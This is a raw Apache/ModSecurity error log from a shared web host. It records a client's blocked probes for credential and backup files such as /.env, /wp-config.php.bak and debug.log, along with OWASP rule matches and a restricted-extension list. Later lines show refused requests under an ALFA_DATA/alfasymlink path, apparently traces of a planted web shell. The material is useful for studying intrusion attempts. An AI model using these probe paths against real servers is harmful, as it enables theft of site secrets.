[Sat Oct 24 06:59:34.125458 2026] [proxy_fcgi:error] [pid 2625272:tid 2625272] [client 34.62.25.61:55384] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 06:59:34.194854 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "atyPlqVWPMRLkHgZYZD6nwAAABU"]
[Sat Oct 24 06:59:34.195065 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "atyPlqVWPMRLkHgZYZD6nwAAABU"]
[Sat Oct 24 06:59:34.195353 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "atyPlqVWPMRLkHgZYZD6nwAAABU"]
[Sat Oct 24 06:59:34.200772 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "atyPlgSwRuPA-FjBma7IYAAAAAI"]
[Sat Oct 24 06:59:34.200904 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "atyPlgSwRuPA-FjBma7IYAAAAAI"]
[Sat Oct 24 06:59:34.201107 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "atyPlgSwRuPA-FjBma7IYAAAAAI"]
[Sat Oct 24 06:59:34.201985 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.62.25.61:55384] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "atyPloY2rJh4KkI7ZZhivQAAAAM"]
[Sat Oct 24 06:59:34.202166 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.62.25.61:55384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "atyPloY2rJh4KkI7ZZhivQAAAAM"]
[Sat Oct 24 06:59:34.202366 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.62.25.61:55384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "atyPloY2rJh4KkI7ZZhivQAAAAM"]
[Sat Oct 24 06:59:34.203247 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "atyPlkZmsT_-xVq3Bbq4_AAAAAU"]
[Sat Oct 24 06:59:34.203370 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "atyPlkZmsT_-xVq3Bbq4_AAAAAU"]
[Sat Oct 24 06:59:34.203575 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "atyPlkZmsT_-xVq3Bbq4_AAAAAU"]
[Sat Oct 24 06:59:34.204814 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "atyPljOT1ZsOoHahaDY_IwAAAAY"]
[Sat Oct 24 06:59:34.204942 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "atyPljOT1ZsOoHahaDY_IwAAAAY"]
[Sat Oct 24 06:59:34.205174 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "atyPljOT1ZsOoHahaDY_IwAAAAY"]
[Sat Oct 24 06:59:34.207104 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "atyPlg6rpxYYtVdDcXCnlwAAABg"]
[Sat Oct 24 06:59:34.207237 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "atyPlg6rpxYYtVdDcXCnlwAAABg"]
[Sat Oct 24 06:59:34.207466 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "atyPlg6rpxYYtVdDcXCnlwAAABg"]
[Sat Oct 24 06:59:34.270724 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "atyPlqVWPMRLkHgZYZD6oAAAABU"]
[Sat Oct 24 06:59:34.270947 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "atyPlqVWPMRLkHgZYZD6oAAAABU"]
[Sat Oct 24 06:59:34.271250 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "atyPlqVWPMRLkHgZYZD6oAAAABU"]
[Sat Oct 24 06:59:34.276950 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hosp2.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "atyPlgSwRuPA-FjBma7IYQAAAAI"]
[Sat Oct 24 06:59:34.277188 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "atyPlgSwRuPA-FjBma7IYQAAAAI"]
[Sat Oct 24 06:59:34.277440 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "atyPlgSwRuPA-FjBma7IYQAAAAI"]
[Sat Oct 24 06:59:34.279471 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "atyPlrX1SaR9hxmEXogoUwAAAAo"]
[Sat Oct 24 06:59:34.279600 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "atyPlrX1SaR9hxmEXogoUwAAAAo"]
[Sat Oct 24 06:59:34.279844 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "atyPlrX1SaR9hxmEXogoUwAAAAo"]
[Sat Oct 24 06:59:44.704961 2026] [core:crit] [pid 2625330:tid 2625330] (13)Permission denied: [client 167.94.146.61:39972] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 06:59:45.248745 2026] [security2:error] [pid 2609012:tid 2609012] [client 167.94.146.61:39978] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/"] [unique_id "atyPoXUcfBNBYE9xHAJANwAAAAA"]
[Sat Oct 24 06:59:45.248800 2026] [security2:error] [pid 2609012:tid 2609012] [client 167.94.146.61:39978] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/"] [unique_id "atyPoXUcfBNBYE9xHAJANwAAAAA"]
[Sat Oct 24 06:59:45.530900 2026] [core:crit] [pid 2625272:tid 2625272] (13)Permission denied: [client 167.94.146.61:39986] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 06:59:49.898343 2026] [authz_core:error] [pid 2608731:tid 2608731] [client 45.79.139.7:5244] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 06:59:54.200227 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 100.25.120.246:13678] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:59:57.251087 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 85.208.96.207:16986] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_inode/cache_dma
[Sat Oct 24 06:59:58.190207 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 44.209.89.189:34207] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/mouse1/subsystem/input1/device/subsystem/drivers/atkbd/unbind
[Sat Oct 24 07:00:09.592783 2026] [authz_core:error] [pid 2607843:tid 2607843] [client 71.6.242.174:10572] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 07:00:10.285346 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 3.94.157.25:1479] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:00:17.031536 2026] [core:crit] [pid 2609012:tid 2609012] (13)Permission denied: [client 71.6.238.217:44738] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 07:00:26.540937 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 100.28.133.214:56372] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/slots/21/module/uevent
[Sat Oct 24 07:00:42.368203 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 3.211.181.86:40637] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:00:46.222955 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.4.76.156:33862] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:00:50.385454 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.157.84.74:28580] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:00:54.391824 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 52.5.242.243:60015] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:00:58.243414 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.4.229.9:11141] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:01:02.292543 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 34.206.249.188:13158] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:01:13.980823 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 185.191.171.16:34560] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/red_zone
[Sat Oct 24 07:01:14.525932 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 52.73.6.26:59106] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:03.0/rescan
[Sat Oct 24 07:01:21.947776 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 44.212.145.46:45245] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:01:22.669026 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.89.176.255:59471] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:01:26.658373 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 18.207.79.144:49463] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:01:26.677307 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 185.191.171.10:37664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_emulator/total_objects
[Sat Oct 24 07:01:38.392225 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 23.23.99.55:11066] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:01:46.252945 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.90.73.206:8766] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:01:46.554277 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 185.191.171.5:21494] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mm_struct/cpu_partial
[Sat Oct 24 07:01:58.248092 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 100.28.118.16:30653] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:02:02.237268 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.204.89.12:19831] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:02:06.352265 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.1.106.130:48568] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:02:18.572087 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 50.19.79.213:21585] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/exar_serial/unbind
[Sat Oct 24 07:02:22.757630 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 34.194.95.99:30196] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:02:26.238831 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 54.86.59.155:57535] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:02:34.261102 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 100.28.57.133:32321] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:02:38.371763 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.54.15.103:41832] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:02:43.084319 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 85.208.96.203:39428] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:02:43.161867 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 85.208.96.203:39434] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:02:46.252104 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.44.148.203:14130] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:02:47.983368 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 85.208.96.212:53700] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:02:50.354008 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 44.207.69.106:22404] AH02013: coalesce failed to read from data bucket
